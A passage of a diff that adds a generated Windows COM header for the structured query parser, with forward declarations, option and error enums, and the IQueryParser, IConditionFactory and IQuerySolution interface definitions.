+#endif 	/* __IConditionFactory_FWD_DEFINED__ */
+
+
+#ifndef __IQuerySolution_FWD_DEFINED__
+#define __IQuerySolution_FWD_DEFINED__
+typedef interface IQuerySolution IQuerySolution;
+
+#endif 	/* __IQuerySolution_FWD_DEFINED__ */
+
+
+#ifndef __IConditionFactory2_FWD_DEFINED__
+#define __IConditionFactory2_FWD_DEFINED__
+typedef interface IConditionFactory2 IConditionFactory2;
+
+#endif 	/* __IConditionFactory2_FWD_DEFINED__ */
+
+
+#ifndef __IConditionGenerator_FWD_DEFINED__
+#define __IConditionGenerator_FWD_DEFINED__
+typedef interface IConditionGenerator IConditionGenerator;
+
+#endif 	/* __IConditionGenerator_FWD_DEFINED__ */
+
+
+#ifndef __IInterval_FWD_DEFINED__
+#define __IInterval_FWD_DEFINED__
+typedef interface IInterval IInterval;
+
+#endif 	/* __IInterval_FWD_DEFINED__ */
+
+
+#ifndef __IMetaData_FWD_DEFINED__
+#define __IMetaData_FWD_DEFINED__
+typedef interface IMetaData IMetaData;
+
+#endif 	/* __IMetaData_FWD_DEFINED__ */
+
+
+#ifndef __IEntity_FWD_DEFINED__
+#define __IEntity_FWD_DEFINED__
+typedef interface IEntity IEntity;
+
+#endif 	/* __IEntity_FWD_DEFINED__ */
+
+
+#ifndef __IRelationship_FWD_DEFINED__
+#define __IRelationship_FWD_DEFINED__
+typedef interface IRelationship IRelationship;
+
+#endif 	/* __IRelationship_FWD_DEFINED__ */
+
+
+#ifndef __INamedEntity_FWD_DEFINED__
+#define __INamedEntity_FWD_DEFINED__
+typedef interface INamedEntity INamedEntity;
+
+#endif 	/* __INamedEntity_FWD_DEFINED__ */
+
+
+#ifndef __ISchemaProvider_FWD_DEFINED__
+#define __ISchemaProvider_FWD_DEFINED__
+typedef interface ISchemaProvider ISchemaProvider;
+
+#endif 	/* __ISchemaProvider_FWD_DEFINED__ */
+
+
+#ifndef __ITokenCollection_FWD_DEFINED__
+#define __ITokenCollection_FWD_DEFINED__
+typedef interface ITokenCollection ITokenCollection;
+
+#endif 	/* __ITokenCollection_FWD_DEFINED__ */
+
+
+#ifndef __INamedEntityCollector_FWD_DEFINED__
+#define __INamedEntityCollector_FWD_DEFINED__
+typedef interface INamedEntityCollector INamedEntityCollector;
+
+#endif 	/* __INamedEntityCollector_FWD_DEFINED__ */
+
+
+#ifndef __ISchemaLocalizerSupport_FWD_DEFINED__
+#define __ISchemaLocalizerSupport_FWD_DEFINED__
+typedef interface ISchemaLocalizerSupport ISchemaLocalizerSupport;
+
+#endif 	/* __ISchemaLocalizerSupport_FWD_DEFINED__ */
+
+
+#ifndef __IQueryParserManager_FWD_DEFINED__
+#define __IQueryParserManager_FWD_DEFINED__
+typedef interface IQueryParserManager IQueryParserManager;
+
+#endif 	/* __IQueryParserManager_FWD_DEFINED__ */
+
+
+#ifndef __QueryParser_FWD_DEFINED__
+#define __QueryParser_FWD_DEFINED__
+
+#ifdef __cplusplus
+typedef class QueryParser QueryParser;
+#else
+typedef struct QueryParser QueryParser;
+#endif /* __cplusplus */
+
+#endif 	/* __QueryParser_FWD_DEFINED__ */
+
+
+#ifndef __NegationCondition_FWD_DEFINED__
+#define __NegationCondition_FWD_DEFINED__
+
+#ifdef __cplusplus
+typedef class NegationCondition NegationCondition;
+#else
+typedef struct NegationCondition NegationCondition;
+#endif /* __cplusplus */
+
+#endif 	/* __NegationCondition_FWD_DEFINED__ */
+
+
+#ifndef __CompoundCondition_FWD_DEFINED__
+#define __CompoundCondition_FWD_DEFINED__
+
+#ifdef __cplusplus
+typedef class CompoundCondition CompoundCondition;
+#else
+typedef struct CompoundCondition CompoundCondition;
+#endif /* __cplusplus */
+
+#endif 	/* __CompoundCondition_FWD_DEFINED__ */
+
+
+#ifndef __LeafCondition_FWD_DEFINED__
+#define __LeafCondition_FWD_DEFINED__
+
+#ifdef __cplusplus
+typedef class LeafCondition LeafCondition;
+#else
+typedef struct LeafCondition LeafCondition;
+#endif /* __cplusplus */
+
+#endif 	/* __LeafCondition_FWD_DEFINED__ */
+
+
+#ifndef __ConditionFactory_FWD_DEFINED__
+#define __ConditionFactory_FWD_DEFINED__
+
+#ifdef __cplusplus
+typedef class ConditionFactory ConditionFactory;
+#else
+typedef struct ConditionFactory ConditionFactory;
+#endif /* __cplusplus */
+
+#endif 	/* __ConditionFactory_FWD_DEFINED__ */
+
+
+#ifndef __Interval_FWD_DEFINED__
+#define __Interval_FWD_DEFINED__
+
+#ifdef __cplusplus
+typedef class Interval Interval;
+#else
+typedef struct Interval Interval;
+#endif /* __cplusplus */
+
+#endif 	/* __Interval_FWD_DEFINED__ */
+
+
+#ifndef __QueryParserManager_FWD_DEFINED__
+#define __QueryParserManager_FWD_DEFINED__
+
+#ifdef __cplusplus
+typedef class QueryParserManager QueryParserManager;
+#else
+typedef struct QueryParserManager QueryParserManager;
+#endif /* __cplusplus */
+
+#endif 	/* __QueryParserManager_FWD_DEFINED__ */
+
+
+/* header files for imported files */
+#include "structuredquerycondition.h"
+#include "objectarray.h"
+
+#ifdef __cplusplus
+extern "C"{
+#endif 
+
+
+/* interface __MIDL_itf_structuredquery_0000_0000 */
+/* [local] */ 
+
+#include <winapifamily.h>
+#pragma region Desktop Family
+#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
+#if 0
+typedef PROPERTYKEY *REFPROPERTYKEY;
+
+#endif // 0
+#include <propkeydef.h>
+
+
+
+
+
+
+
+
+
+typedef /* [v1_enum] */ 
+enum tagSTRUCTURED_QUERY_SYNTAX
+    {
+        SQS_NO_SYNTAX	= 0,
+        SQS_ADVANCED_QUERY_SYNTAX	= ( SQS_NO_SYNTAX + 1 ) ,
+        SQS_NATURAL_QUERY_SYNTAX	= ( SQS_ADVANCED_QUERY_SYNTAX + 1 ) 
+    } 	STRUCTURED_QUERY_SYNTAX;
+
+typedef /* [v1_enum] */ 
+enum tagSTRUCTURED_QUERY_SINGLE_OPTION
+    {
+        SQSO_SCHEMA	= 0,
+        SQSO_LOCALE_WORD_BREAKING	= ( SQSO_SCHEMA + 1 ) ,
+        SQSO_WORD_BREAKER	= ( SQSO_LOCALE_WORD_BREAKING + 1 ) ,
+        SQSO_NATURAL_SYNTAX	= ( SQSO_WORD_BREAKER + 1 ) ,
+        SQSO_AUTOMATIC_WILDCARD	= ( SQSO_NATURAL_SYNTAX + 1 ) ,
+        SQSO_TRACE_LEVEL	= ( SQSO_AUTOMATIC_WILDCARD + 1 ) ,
+        SQSO_LANGUAGE_KEYWORDS	= ( SQSO_TRACE_LEVEL + 1 ) ,
+        SQSO_SYNTAX	= ( SQSO_LANGUAGE_KEYWORDS + 1 ) ,
+        SQSO_TIME_ZONE	= ( SQSO_SYNTAX + 1 ) ,
+        SQSO_IMPLICIT_CONNECTOR	= ( SQSO_TIME_ZONE + 1 ) ,
+        SQSO_CONNECTOR_CASE	= ( SQSO_IMPLICIT_CONNECTOR + 1 ) 
+    } 	STRUCTURED_QUERY_SINGLE_OPTION;
+
+typedef /* [v1_enum] */ 
+enum tagSTRUCTURED_QUERY_MULTIOPTION
+    {
+        SQMO_VIRTUAL_PROPERTY	= 0,
+        SQMO_DEFAULT_PROPERTY	= ( SQMO_VIRTUAL_PROPERTY + 1 ) ,
+        SQMO_GENERATOR_FOR_TYPE	= ( SQMO_DEFAULT_PROPERTY + 1 ) ,
+        SQMO_MAP_PROPERTY	= ( SQMO_GENERATOR_FOR_TYPE + 1 ) 
+    } 	STRUCTURED_QUERY_MULTIOPTION;
+
+typedef /* [v1_enum] */ 
+enum tagSTRUCTURED_QUERY_PARSE_ERROR
+    {
+        SQPE_NONE	= 0,
+        SQPE_EXTRA_OPENING_PARENTHESIS	= ( SQPE_NONE + 1 ) ,
+        SQPE_EXTRA_CLOSING_PARENTHESIS	= ( SQPE_EXTRA_OPENING_PARENTHESIS + 1 ) ,
+        SQPE_IGNORED_MODIFIER	= ( SQPE_EXTRA_CLOSING_PARENTHESIS + 1 ) ,
+        SQPE_IGNORED_CONNECTOR	= ( SQPE_IGNORED_MODIFIER + 1 ) ,
+        SQPE_IGNORED_KEYWORD	= ( SQPE_IGNORED_CONNECTOR + 1 ) ,
+        SQPE_UNHANDLED	= ( SQPE_IGNORED_KEYWORD + 1 ) 
+    } 	STRUCTURED_QUERY_PARSE_ERROR;
+
+typedef /* [v1_enum] */ 
+enum STRUCTURED_QUERY_RESOLVE_OPTION
+    {
+        SQRO_DEFAULT	= 0,
+        SQRO_DONT_RESOLVE_DATETIME	= 0x1,
+        SQRO_ALWAYS_ONE_INTERVAL	= 0x2,
+        SQRO_DONT_SIMPLIFY_CONDITION_TREES	= 0x4,
+        SQRO_DONT_MAP_RELATIONS	= 0x8,
+        SQRO_DONT_RESOLVE_RANGES	= 0x10,
+        SQRO_DONT_REMOVE_UNRESTRICTED_KEYWORDS	= 0x20,
+        SQRO_DONT_SPLIT_WORDS	= 0x40,
+        SQRO_IGNORE_PHRASE_ORDER	= 0x80,
+        SQRO_ADD_VALUE_TYPE_FOR_PLAIN_VALUES	= 0x100,
+        SQRO_ADD_ROBUST_ITEM_NAME	= 0x200
+    } 	STRUCTURED_QUERY_RESOLVE_OPTION;
+
+DEFINE_ENUM_FLAG_OPERATORS(STRUCTURED_QUERY_RESOLVE_OPTION);
+typedef /* [v1_enum] */ 
+enum CASE_REQUIREMENT
+    {
+        CASE_REQUIREMENT_ANY	= 0,
+        CASE_REQUIREMENT_UPPER_IF_AQS	= ( CASE_REQUIREMENT_ANY + 1 ) 
+    } 	CASE_REQUIREMENT;
+
+typedef /* [v1_enum] */ 
+enum tagINTERVAL_LIMIT_KIND
+    {
+        ILK_EXPLICIT_INCLUDED	= 0,
+        ILK_EXPLICIT_EXCLUDED	= ( ILK_EXPLICIT_INCLUDED + 1 ) ,
+        ILK_NEGATIVE_INFINITY	= ( ILK_EXPLICIT_EXCLUDED + 1 ) ,
+        ILK_POSITIVE_INFINITY	= ( ILK_NEGATIVE_INFINITY + 1 ) 
+    } 	INTERVAL_LIMIT_KIND;
+
+typedef /* [v1_enum] */ 
+enum tagQUERY_PARSER_MANAGER_OPTION
+    {
+        QPMO_SCHEMA_BINARY_NAME	= 0,
+        QPMO_PRELOCALIZED_SCHEMA_BINARY_PATH	= ( QPMO_SCHEMA_BINARY_NAME + 1 ) ,
+        QPMO_UNLOCALIZED_SCHEMA_BINARY_PATH	= ( QPMO_PRELOCALIZED_SCHEMA_BINARY_PATH + 1 ) ,
+        QPMO_LOCALIZED_SCHEMA_BINARY_PATH	= ( QPMO_UNLOCALIZED_SCHEMA_BINARY_PATH + 1 ) ,
+        QPMO_APPEND_LCID_TO_LOCALIZED_PATH	= ( QPMO_LOCALIZED_SCHEMA_BINARY_PATH + 1 ) ,
+        QPMO_LOCALIZER_SUPPORT	= ( QPMO_APPEND_LCID_TO_LOCALIZED_PATH + 1 ) 
+    } 	QUERY_PARSER_MANAGER_OPTION;
+
+
+
+extern RPC_IF_HANDLE __MIDL_itf_structuredquery_0000_0000_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_structuredquery_0000_0000_v0_0_s_ifspec;
+
+#ifndef __IQueryParser_INTERFACE_DEFINED__
+#define __IQueryParser_INTERFACE_DEFINED__
+
+/* interface IQueryParser */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_IQueryParser;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("2EBDEE67-3505-43f8-9946-EA44ABC8E5B0")
+    IQueryParser : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE Parse( 
+            /* [in] */ __RPC__in LPCWSTR pszInputString,
+            /* [in] */ __RPC__in_opt IEnumUnknown *pCustomProperties,
+            /* [retval][out] */ __RPC__deref_out_opt IQuerySolution **ppSolution) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE SetOption( 
+            /* [in] */ STRUCTURED_QUERY_SINGLE_OPTION option,
+            /* [in] */ __RPC__in const PROPVARIANT *pOptionValue) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetOption( 
+            /* [in] */ STRUCTURED_QUERY_SINGLE_OPTION option,
+            /* [retval][out] */ __RPC__out PROPVARIANT *pOptionValue) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE SetMultiOption( 
+            /* [in] */ STRUCTURED_QUERY_MULTIOPTION option,
+            /* [in] */ __RPC__in LPCWSTR pszOptionKey,
+            /* [in] */ __RPC__in const PROPVARIANT *pOptionValue) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetSchemaProvider( 
+            /* [retval][out] */ __RPC__deref_out_opt ISchemaProvider **ppSchemaProvider) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE RestateToString( 
+            /* [in] */ __RPC__in_opt ICondition *pCondition,
+            /* [in] */ BOOL fUseEnglish,
+            /* [out] */ __RPC__deref_out_opt LPWSTR *ppszQueryString) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE ParsePropertyValue( 
+            /* [in] */ __RPC__in LPCWSTR pszPropertyName,
+            /* [in] */ __RPC__in LPCWSTR pszInputString,
+            /* [retval][out] */ __RPC__deref_out_opt IQuerySolution **ppSolution) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE RestatePropertyValueToString( 
+            /* [in] */ __RPC__in_opt ICondition *pCondition,
+            /* [in] */ BOOL fUseEnglish,
+            /* [out] */ __RPC__deref_out_opt LPWSTR *ppszPropertyName,
+            /* [out] */ __RPC__deref_out_opt LPWSTR *ppszQueryString) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IQueryParserVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IQueryParser * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IQueryParser * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IQueryParser * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *Parse )( 
+            __RPC__in IQueryParser * This,
+            /* [in] */ __RPC__in LPCWSTR pszInputString,
+            /* [in] */ __RPC__in_opt IEnumUnknown *pCustomProperties,
+            /* [retval][out] */ __RPC__deref_out_opt IQuerySolution **ppSolution);
+        
+        HRESULT ( STDMETHODCALLTYPE *SetOption )( 
+            __RPC__in IQueryParser * This,
+            /* [in] */ STRUCTURED_QUERY_SINGLE_OPTION option,
+            /* [in] */ __RPC__in const PROPVARIANT *pOptionValue);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetOption )( 
+            __RPC__in IQueryParser * This,
+            /* [in] */ STRUCTURED_QUERY_SINGLE_OPTION option,
+            /* [retval][out] */ __RPC__out PROPVARIANT *pOptionValue);
+        
+        HRESULT ( STDMETHODCALLTYPE *SetMultiOption )( 
+            __RPC__in IQueryParser * This,
+            /* [in] */ STRUCTURED_QUERY_MULTIOPTION option,
+            /* [in] */ __RPC__in LPCWSTR pszOptionKey,
+            /* [in] */ __RPC__in const PROPVARIANT *pOptionValue);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSchemaProvider )( 
+            __RPC__in IQueryParser * This,
+            /* [retval][out] */ __RPC__deref_out_opt ISchemaProvider **ppSchemaProvider);
+        
+        HRESULT ( STDMETHODCALLTYPE *RestateToString )( 
+            __RPC__in IQueryParser * This,
+            /* [in] */ __RPC__in_opt ICondition *pCondition,
+            /* [in] */ BOOL fUseEnglish,
+            /* [out] */ __RPC__deref_out_opt LPWSTR *ppszQueryString);
+        
+        HRESULT ( STDMETHODCALLTYPE *ParsePropertyValue )( 
+            __RPC__in IQueryParser * This,
+            /* [in] */ __RPC__in LPCWSTR pszPropertyName,
+            /* [in] */ __RPC__in LPCWSTR pszInputString,
+            /* [retval][out] */ __RPC__deref_out_opt IQuerySolution **ppSolution);
+        
+        HRESULT ( STDMETHODCALLTYPE *RestatePropertyValueToString )( 
+            __RPC__in IQueryParser * This,
+            /* [in] */ __RPC__in_opt ICondition *pCondition,
+            /* [in] */ BOOL fUseEnglish,
+            /* [out] */ __RPC__deref_out_opt LPWSTR *ppszPropertyName,
+            /* [out] */ __RPC__deref_out_opt LPWSTR *ppszQueryString);
+        
+        END_INTERFACE
+    } IQueryParserVtbl;
+
+    interface IQueryParser
+    {
+        CONST_VTBL struct IQueryParserVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IQueryParser_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IQueryParser_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IQueryParser_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IQueryParser_Parse(This,pszInputString,pCustomProperties,ppSolution)	\
+    ( (This)->lpVtbl -> Parse(This,pszInputString,pCustomProperties,ppSolution) ) 
+
+#define IQueryParser_SetOption(This,option,pOptionValue)	\
+    ( (This)->lpVtbl -> SetOption(This,option,pOptionValue) ) 
+
+#define IQueryParser_GetOption(This,option,pOptionValue)	\
+    ( (This)->lpVtbl -> GetOption(This,option,pOptionValue) ) 
+
+#define IQueryParser_SetMultiOption(This,option,pszOptionKey,pOptionValue)	\
+    ( (This)->lpVtbl -> SetMultiOption(This,option,pszOptionKey,pOptionValue) ) 
+
+#define IQueryParser_GetSchemaProvider(This,ppSchemaProvider)	\
+    ( (This)->lpVtbl -> GetSchemaProvider(This,ppSchemaProvider) ) 
+
+#define IQueryParser_RestateToString(This,pCondition,fUseEnglish,ppszQueryString)	\
+    ( (This)->lpVtbl -> RestateToString(This,pCondition,fUseEnglish,ppszQueryString) ) 
+
+#define IQueryParser_ParsePropertyValue(This,pszPropertyName,pszInputString,ppSolution)	\
+    ( (This)->lpVtbl -> ParsePropertyValue(This,pszPropertyName,pszInputString,ppSolution) ) 
+
+#define IQueryParser_RestatePropertyValueToString(This,pCondition,fUseEnglish,ppszPropertyName,ppszQueryString)	\
+    ( (This)->lpVtbl -> RestatePropertyValueToString(This,pCondition,fUseEnglish,ppszPropertyName,ppszQueryString) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IQueryParser_INTERFACE_DEFINED__ */
+
+
+#ifndef __IConditionFactory_INTERFACE_DEFINED__
+#define __IConditionFactory_INTERFACE_DEFINED__
+
+/* interface IConditionFactory */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_IConditionFactory;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("A5EFE073-B16F-474f-9F3E-9F8B497A3E08")
+    IConditionFactory : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE MakeNot( 
+            /* [in] */ __RPC__in_opt ICondition *pcSub,
+            /* [in] */ BOOL fSimplify,
+            /* [retval][out] */ __RPC__deref_out_opt ICondition **ppcResult) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE MakeAndOr( 
+            /* [in] */ CONDITION_TYPE ct,
+            /* [in] */ __RPC__in_opt IEnumUnknown *peuSubs,
+            /* [in] */ BOOL fSimplify,
+            /* [retval][out] */ __RPC__deref_out_opt ICondition **ppcResult) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE MakeLeaf( 
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pszPropertyName,
+            /* [in] */ CONDITION_OPERATION cop,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pszValueType,
+            /* [in] */ __RPC__in const PROPVARIANT *ppropvar,
+            /* [in] */ __RPC__in_opt IRichChunk *pPropertyNameTerm,
+            /* [in] */ __RPC__in_opt IRichChunk *pOperationTerm,
+            /* [in] */ __RPC__in_opt IRichChunk *pValueTerm,
+            /* [in] */ BOOL fExpand,
+            /* [retval][out] */ __RPC__deref_out_opt ICondition **ppcResult) = 0;
+        
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE Resolve( 
+            /* [annotation][in] */ 
+            _In_  ICondition *pc,
+            /* [annotation][in] */ 
+            _In_  STRUCTURED_QUERY_RESOLVE_OPTION sqro,
+            /* [annotation][ref][in] */ 
+            _In_opt_  const SYSTEMTIME *pstReferenceTime,
+            /* [annotation][retval][out] */ 
+            _Out_  ICondition **ppcResolved) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IConditionFactoryVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IConditionFactory * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IConditionFactory * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IConditionFactory * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *MakeNot )( 
+            __RPC__in IConditionFactory * This,
+            /* [in] */ __RPC__in_opt ICondition *pcSub,
+            /* [in] */ BOOL fSimplify,
+            /* [retval][out] */ __RPC__deref_out_opt ICondition **ppcResult);
+        
+        HRESULT ( STDMETHODCALLTYPE *MakeAndOr )( 
+            __RPC__in IConditionFactory * This,
+            /* [in] */ CONDITION_TYPE ct,
+            /* [in] */ __RPC__in_opt IEnumUnknown *peuSubs,
+            /* [in] */ BOOL fSimplify,
+            /* [retval][out] */ __RPC__deref_out_opt ICondition **ppcResult);
+        
+        HRESULT ( STDMETHODCALLTYPE *MakeLeaf )( 
+            __RPC__in IConditionFactory * This,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pszPropertyName,
+            /* [in] */ CONDITION_OPERATION cop,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pszValueType,
+            /* [in] */ __RPC__in const PROPVARIANT *ppropvar,
+            /* [in] */ __RPC__in_opt IRichChunk *pPropertyNameTerm,
+            /* [in] */ __RPC__in_opt IRichChunk *pOperationTerm,
+            /* [in] */ __RPC__in_opt IRichChunk *pValueTerm,
+            /* [in] */ BOOL fExpand,
+            /* [retval][out] */ __RPC__deref_out_opt ICondition **ppcResult);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Resolve )( 
+            IConditionFactory * This,
+            /* [annotation][in] */ 
+            _In_  ICondition *pc,
+            /* [annotation][in] */ 
+            _In_  STRUCTURED_QUERY_RESOLVE_OPTION sqro,
+            /* [annotation][ref][in] */ 
+            _In_opt_  const SYSTEMTIME *pstReferenceTime,
+            /* [annotation][retval][out] */ 
+            _Out_  ICondition **ppcResolved);
+        
+        END_INTERFACE
+    } IConditionFactoryVtbl;
+
+    interface IConditionFactory
+    {
+        CONST_VTBL struct IConditionFactoryVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IConditionFactory_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IConditionFactory_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IConditionFactory_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IConditionFactory_MakeNot(This,pcSub,fSimplify,ppcResult)	\
+    ( (This)->lpVtbl -> MakeNot(This,pcSub,fSimplify,ppcResult) ) 
+
+#define IConditionFactory_MakeAndOr(This,ct,peuSubs,fSimplify,ppcResult)	\
+    ( (This)->lpVtbl -> MakeAndOr(This,ct,peuSubs,fSimplify,ppcResult) ) 
+
+#define IConditionFactory_MakeLeaf(This,pszPropertyName,cop,pszValueType,ppropvar,pPropertyNameTerm,pOperationTerm,pValueTerm,fExpand,ppcResult)	\
+    ( (This)->lpVtbl -> MakeLeaf(This,pszPropertyName,cop,pszValueType,ppropvar,pPropertyNameTerm,pOperationTerm,pValueTerm,fExpand,ppcResult) ) 
+
+#define IConditionFactory_Resolve(This,pc,sqro,pstReferenceTime,ppcResolved)	\
+    ( (This)->lpVtbl -> Resolve(This,pc,sqro,pstReferenceTime,ppcResolved) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IConditionFactory_INTERFACE_DEFINED__ */
+
+
+#ifndef __IQuerySolution_INTERFACE_DEFINED__
+#define __IQuerySolution_INTERFACE_DEFINED__
+
+/* interface IQuerySolution */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_IQuerySolution;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("D6EBC66B-8921-4193-AFDD-A1789FB7FF57")
+    IQuerySolution : public IConditionFactory
+    {
+    public:
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetQuery( 
+            /* [annotation][out] */ 
+            _Out_opt_  ICondition **ppQueryNode,
+            /* [annotation][out] */ 
+            _Out_opt_  IEntity **ppMainType) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetErrors( 
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **ppParseErrors) = 0;
+        
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetLexicalData( 
+            /* [annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszInputString,
+            /* [annotation][out] */ 
+            _Out_opt_  ITokenCollection **ppTokens,
+            /* [annotation][out] */ 
+            _Out_opt_  LCID *plcid,
+            /* [annotation][out] */ 
+            _Out_opt_  IUnknown **ppWordBreaker) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IQuerySolutionVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IQuerySolution * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IQuerySolution * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IQuerySolution * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *MakeNot )( 
+            __RPC__in IQuerySolution * This,
+            /* [in] */ __RPC__in_opt ICondition *pcSub,
+            /* [in] */ BOOL fSimplify,
+            /* [retval][out] */ __RPC__deref_out_opt ICondition **ppcResult);
+        
+        HRESULT ( STDMETHODCALLTYPE *MakeAndOr )( 
+            __RPC__in IQuerySolution * This,
+            /* [in] */ CONDITION_TYPE ct,
+            /* [in] */ __RPC__in_opt IEnumUnknown *peuSubs,
+            /* [in] */ BOOL fSimplify,
+            /* [retval][out] */ __RPC__deref_out_opt ICondition **ppcResult);
+        
+        HRESULT ( STDMETHODCALLTYPE *MakeLeaf )( 
+            __RPC__in IQuerySolution * This,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pszPropertyName,
+            /* [in] */ CONDITION_OPERATION cop,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pszValueType,
+            /* [in] */ __RPC__in const PROPVARIANT *ppropvar,
+            /* [in] */ __RPC__in_opt IRichChunk *pPropertyNameTerm,
+            /* [in] */ __RPC__in_opt IRichChunk *pOperationTerm,
+            /* [in] */ __RPC__in_opt IRichChunk *pValueTerm,
+            /* [in] */ BOOL fExpand,
+            /* [retval][out] */ __RPC__deref_out_opt ICondition **ppcResult);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Resolve )( 
+            IQuerySolution * This,
+            /* [annotation][in] */ 
+            _In_  ICondition *pc,
+            /* [annotation][in] */ 
+            _In_  STRUCTURED_QUERY_RESOLVE_OPTION sqro,
+            /* [annotation][ref][in] */ 
+            _In_opt_  const SYSTEMTIME *pstReferenceTime,
+            /* [annotation][retval][out] */ 
+            _Out_  ICondition **ppcResolved);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *GetQuery )( 
+            IQuerySolution * This,
+            /* [annotation][out] */ 
+            _Out_opt_  ICondition **ppQueryNode,
+            /* [annotation][out] */ 
+            _Out_opt_  IEntity **ppMainType);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetErrors )( 
+            __RPC__in IQuerySolution * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **ppParseErrors);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *GetLexicalData )( 
+            IQuerySolution * This,
+            /* [annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszInputString,
+            /* [annotation][out] */ 
+            _Out_opt_  ITokenCollection **ppTokens,
+            /* [annotation][out] */ 
+            _Out_opt_  LCID *plcid,
+            /* [annotation][out] */ 
+            _Out_opt_  IUnknown **ppWordBreaker);
+        
+        END_INTERFACE
+    } IQuerySolutionVtbl;
+
+    interface IQuerySolution
+    {
+        CONST_VTBL struct IQuerySolutionVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IQuerySolution_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IQuerySolution_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IQuerySolution_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IQuerySolution_MakeNot(This,pcSub,fSimplify,ppcResult)	\
+    ( (This)->lpVtbl -> MakeNot(This,pcSub,fSimplify,ppcResult) ) 
+
+#define IQuerySolution_MakeAndOr(This,ct,peuSubs,fSimplify,ppcResult)	\
